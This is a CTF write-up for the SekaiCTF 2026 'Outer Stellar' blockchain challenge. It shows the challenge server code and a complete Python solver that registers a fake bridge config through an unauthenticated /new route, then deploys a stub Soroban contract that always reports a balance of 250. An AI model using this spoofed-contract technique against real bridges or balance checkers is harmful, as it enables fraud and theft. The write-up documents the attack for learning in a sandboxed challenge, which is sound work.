SEKAICTF 2026 - Outer Stellar - Blockchain Writeup

[!NOTE] CTF CHALLENGE OVERVIEW

CTF Event: SekaiCTF 2026

Category: Writeup

Difficulty: [EASY]

Tools Used: Python 3

Author / Writeup: LIGHT

Flag: SEKAI{super-duper-stellar-master-3a9bb1}

Description: honest player is bridging their funds …

The attachment was a gzip-compressed tar archive with a Stellar contract, a Sui Move package, and the Python instancer that tied them together.

1
tar -tf 'blockchain_outer-stellar.tar.gz'

1
blockchain_outer-stellar/contracts/stellar-bridge/src/lib.rs
2
blockchain_outer-stellar/instancer/outerstellar_sandbox/server.py
3
blockchain_outer-stellar/instancer/outerstellar_sandbox/bridge.py
4
blockchain_outer-stellar/instancer/outerstellar_sandbox/honest_player.py
5
blockchain_outer-stellar/move/sui_bridge/sources/bridge.move
6
blockchain_outer-stellar/move/sui_bridge/sources/sekai.move

The flag endpoint was in server.py. It checked the player’s Stellar balance by reading bridge metadata from disk, then invoking balance on whatever stellar_contract_id was stored there.

1
@app.route("/flag", methods=["GET", "POST"])
2
@cross_origin()
3
def flag() -> tuple[dict[str, Any], int] | dict[str, Any]:
4
    info = current_integrated_instance()
5
    if info is None:
6
        return {"ok": False, "error": "not_running", "message": "No instance is running"}, 404
7

8
    solved, balance = has_solved(info["uuid"])
9
    if not solved:
10
        return {
11
            "ok": False,
12
            "error": "not_solved",
13
            "message": (
14
                f"not solved: Stellar SEKAI balance is {balance}, "
15
                f"need at least {FLAG_STELLAR_BALANCE_TARGET}"
16
            ),
17
            "stellar_sekai_balance": balance,
18
            "target": FLAG_STELLAR_BALANCE_TARGET,
19
        }, 403
20

21
    return {"ok": True, "flag": read_flag()}
22

23
def has_solved(uuid: str) -> tuple[bool, int]:
24
    info = read_instance(uuid)
25
    if info.get("chain") != "integrated":
26
        return False, 0
27

28
    try:
29
        bridge = read_deploy_info(uuid)
30
        stellar = info["stellar"]
31
        player = stellar["accounts"]["player"]
32
        balance = stellar_sekai_balance(stellar, bridge, player["public"])
33
    except Exception as exc:
34
        print(f"flag check failed for {uuid}: {exc}", file=sys.stderr, flush=True)
35
        return False, 0
36

37
    return balance >= FLAG_STELLAR_BALANCE_TARGET, balance
38

39
def stellar_sekai_balance(stellar: dict[str, Any], bridge: dict[str, Any], owner: str) -> int:
40
    output = run_checked([
41
        "stellar",
42
        "contract",
43
        "invoke",
44
        "--config-dir",
45
        stellar["config_dir"],
46
        "--network-passphrase",
47
        stellar["network_passphrase"],
48
        "--rpc-url",
49
        stellar["rpc_url"],
50
        "--source-account",
51
        "player",
52
        "--id",
53
        bridge["stellar_contract_id"],
54
        "--send",
55
        "no",
56
        "--",
57
        "balance",
58
        "--owner",
59
        owner,
60
    ], timeout=120)
61
    return int(output.strip().strip('"'))

The interesting part was how that bridge metadata was created. The public /new route accepted a JSON body and passed it into create_or_get_integrated_instance. If the body already contained a bridge dictionary, the server registered it directly instead of deploying its own bridge. The authenticated /bridge/<uuid> route had a secret check, but /new did not.

1
@app.route("/new", methods=["GET", "POST"])
2
@cross_origin()
3
def new_integrated() -> tuple[dict[str, Any], int] | dict[str, Any]:
4
    body = request.get_json(silent=True) if request.method == "POST" else {}
5
    return create_or_get_integrated_instance(body if isinstance(body, dict) else {})
6

7
def launch_integrated_instance(body: dict[str, Any]) -> dict[str, Any]:
8
    stellar_info = None
9
    sui_info = None
10
    try:
11
        stellar_info = launch_stellar_instance(TIMEOUT)
12
        sui_info = launch_sui_instance(TIMEOUT)
13
    except Exception as exc:
14
        if stellar_info is not None:
15
            kill_stellar_instance(stellar_info)
16
            cleanup_instance_resources(stellar_info)
17
        if sui_info is not None:
18
            kill_sui_instance(sui_info)
19
            cleanup_instance_resources(sui_info)
20
        return launch_failure("error_starting_instance", exc)
21
    instance_id = new_uuid()
22

23
    write_instance(stellar_info["uuid"], stellar_info)
24
    write_instance(sui_info["uuid"], sui_info)
25
    write_instance(instance_id, {
26
        "chain": "integrated",
27
        "uuid": instance_id,
28
        "children": [stellar_info["uuid"], sui_info["uuid"]],
29
        "stellar": stellar_info,
30
        "sui": sui_info,
31
    })
32
    register_node_supervisor(stellar_info)
33
    register_node_supervisor(sui_info)
34

35
    schedule_kill_later(instance_id)
36

37
    bridge = body.get("bridge")
38
    try:
39
        if isinstance(bridge, dict):
40
            register_bridge_config(instance_id, stellar_info, sui_info, bridge)
41
        elif body.get("auto_bridge", True):
42
            bridge = deploy_bridge_system(stellar_info, sui_info)
43
            wait_sui_bridge_ready(sui_info, bridge)
44
            checkpoint_sui_state(sui_info, "bridge deploy")
45
            register_bridge_config(instance_id, stellar_info, sui_info, bridge)
46
        if body.get("honest_player", True) and isinstance(bridge, dict):
47
            start_honest_player(instance_id, stellar_info, sui_info, bridge)
48
    except Exception as exc:
49
        really_kill(instance_id)
50
        return {"ok": False, "error": "error_starting_bridge", "message": str(exc)}

This meant the checker could be pointed at a contract that was not the real bridge. The only method it needed was balance(Address) -> i128, and it only needed to return at least 250. I built that tiny Soroban contract.

1
#![no_std]
2

3
use soroban_sdk::{contract, contractimpl, Address, Env};
4

5
#[contract]
6
pub struct FakeBalance;
7

8
#[contractimpl]
9
impl FakeBalance {
10
    pub fn balance(_env: Env, _owner: Address) -> i128 {
11
        250
12
    }
13
}

Soroban wasm contract IDs are deterministic from the network, deployer address, and salt. I used a fixed attacker keypair and salt so /new could be given the fake contract ID before that account existed on the challenge chain.

1
ATTACKER_PUBLIC=GAK7YHKNCJ6FKOIPOSVJDK4KQEAZHEWJ7UM6DLAPWCPBRJGNOAP7TVHP
2
ATTACKER_SECRET=SB3WIBVRWTJGARM6BCJH4FC7QDN225YMFE7EFIMAOHNENUPSMPUC4UOO
3
SALT=0000000000000000000000000000000000000000000000000000000000000000
4
FAKE_CONTRACT_ID=CBQDEVG3O2CRCFC45AALDF7BE6GVETYYC5XQERTDXK6QCKJBW67HULQ5

I confirmed the contract ID locally with the Stellar CLI.

1
stellar contract id wasm --rpc-url http://127.0.0.1:55093 --network-passphrase 'Standalone Network ; February 2017' --source-account GAK7YHKNCJ6FKOIPOSVJDK4KQEAZHEWJ7UM6DLAPWCPBRJGNOAP7TVHP --salt 0000000000000000000000000000000000000000000000000000000000000000

1
CBQDEVG3O2CRCFC45AALDF7BE6GVETYYC5XQERTDXK6QCKJBW67HULQ5

One dead end was trying to profit from the honest player’s bridge fees. Starting from the default honest balance of 100, alternating both directions for the 40 close limit only produced 93 total fees, below the 250 target.

1
a = 100
2
p_sui = 0
3
p_st = 0
4
ops = 0
5
while ops < 40 and a > 0:
6
    f = a // 8
7
    p_sui += f
8
    a -= f
9
    ops += 1
10
    if ops >= 40:
11
        break
12
    f = a // 8
13
    p_st += f
14
    a -= f
15
    ops += 1
16
print('p_sui', p_sui, 'p_st', p_st, 'total', p_sui + p_st, 'honest final', a, 'ops', ops)

1
p_sui 48 p_st 45 total 93 honest final 7 ops 40

The final solver registered the fake bridge config with /new, waited for the instance, funded the deterministic Stellar deployer from the published player secret, deployed the fake contract at the pre-registered ID, and read /flag.

1
from __future__ import annotations
2

3
import argparse
4
import json
5
import shutil
6
import subprocess
7
import time
8
from pathlib import Path
9

10
import requests
11

12
UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36"
13
ATTACKER_PUBLIC = "GAK7YHKNCJ6FKOIPOSVJDK4KQEAZHEWJ7UM6DLAPWCPBRJGNOAP7TVHP"
14
ATTACKER_SECRET = "SB3WIBVRWTJGARM6BCJH4FC7QDN225YMFE7EFIMAOHNENUPSMPUC4UOO"
15
SALT = "0" * 64
16
FAKE_CONTRACT_ID = "CBQDEVG3O2CRCFC45AALDF7BE6GVETYYC5XQERTDXK6QCKJBW67HULQ5"
17
FAKE_SUI_PACKAGE = "0x" + "11" * 32
18
FAKE_SUI_BRIDGE = "0x" + "22" * 32
19

20
def run(cmd, cwd=None):
21
    proc = subprocess.run(cmd, cwd=cwd, text=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, check=True)
22
    return proc.stdout
23

24
def request_json(session, method, url, **kwargs):
25
    headers = kwargs.pop("headers", {})
26
    headers.setdefault("User-Agent", UA)
27
    response = session.request(method, url, headers=headers, timeout=30, **kwargs)
28
    return response.status_code, response.json()
29

30
def stellar_cmd(root):
31
    if shutil.which("stellar"):
32
        return ["stellar"]
33
    return ["docker", "compose", "exec", "-T", "outerstellar", "stellar"]
34

35
def spawn_instance(session, base):
36
    request_json(session, "POST", f"{base}/stop")
37
    body = {
38
        "honest_player": False,
39
        "bridge": {
40
            "stellar_contract_id": FAKE_CONTRACT_ID,
41
            "sui_package_id": FAKE_SUI_PACKAGE,
42
            "sui_bridge_object_id": FAKE_SUI_BRIDGE,
43
        },
44
    }
45
    request_json(session, "POST", f"{base}/new", json=body)
46
    while True:
47
        _, info = request_json(session, "GET", f"{base}/info")
48
        if info.get("running") and info.get("bridge", {}).get("stellar_contract_id") == FAKE_CONTRACT_ID:
49
            return info
50
        time.sleep(10)
51

52
def deploy_fake_contract(root, base, info):
53
    wasm = root / "target" / "wasm32v1-none" / "release" / "fake_balance.wasm"
54
    stellar = info["node_info"]["stellar"]
55
    stellar_rpc = f"{base}{stellar['endpoint']}"
56
    cmd = stellar_cmd(root)
57
    wasm_arg = str(wasm)
58
    if cmd[0] == "docker":
59
        run(["docker", "compose", "cp", str(wasm), "outerstellar:/tmp/fake_balance.wasm"], cwd=root)
60
        wasm_arg = "/tmp/fake_balance.wasm"
61
    run(cmd + [
62
        "tx", "new", "create-account",
63
        "--rpc-url", stellar_rpc,
64
        "--network-passphrase", stellar["network_passphrase"],
65
        "--source-account", stellar["player_secret"],
66
        "--destination", ATTACKER_PUBLIC,
67
        "--starting-balance", "100000000",
68
    ], cwd=root if cmd[0] == "docker" else None)
69
    run(cmd + [
70
        "contract", "deploy",
71
        "--rpc-url", stellar_rpc,
72
        "--network-passphrase", stellar["network_passphrase"],
73
        "--source-account", ATTACKER_SECRET,
74
        "--wasm", wasm_arg,
75
        "--salt", SALT,
76
    ], cwd=root if cmd[0] == "docker" else None)
77

78
def main():
79
    parser = argparse.ArgumentParser()
80
    parser.add_argument("base_url")
81
    args = parser.parse_args()
82
    root = Path(__file__).resolve().parent
83
    base = args.base_url.rstrip("/")
84
    session = requests.Session()
85
    info = spawn_instance(session, base)
86
    deploy_fake_contract(root, base, info)
87
    _, flag = request_json(session, "GET", f"{base}/flag")
88
    print(flag["flag"])
89

90
main()

1
python solve_outer_stellar.py 'https://outer-stellar-fe4dcf788efb.instancer.sekai.team'

1
SEKAI{super-duper-stellar-master-3a9bb1}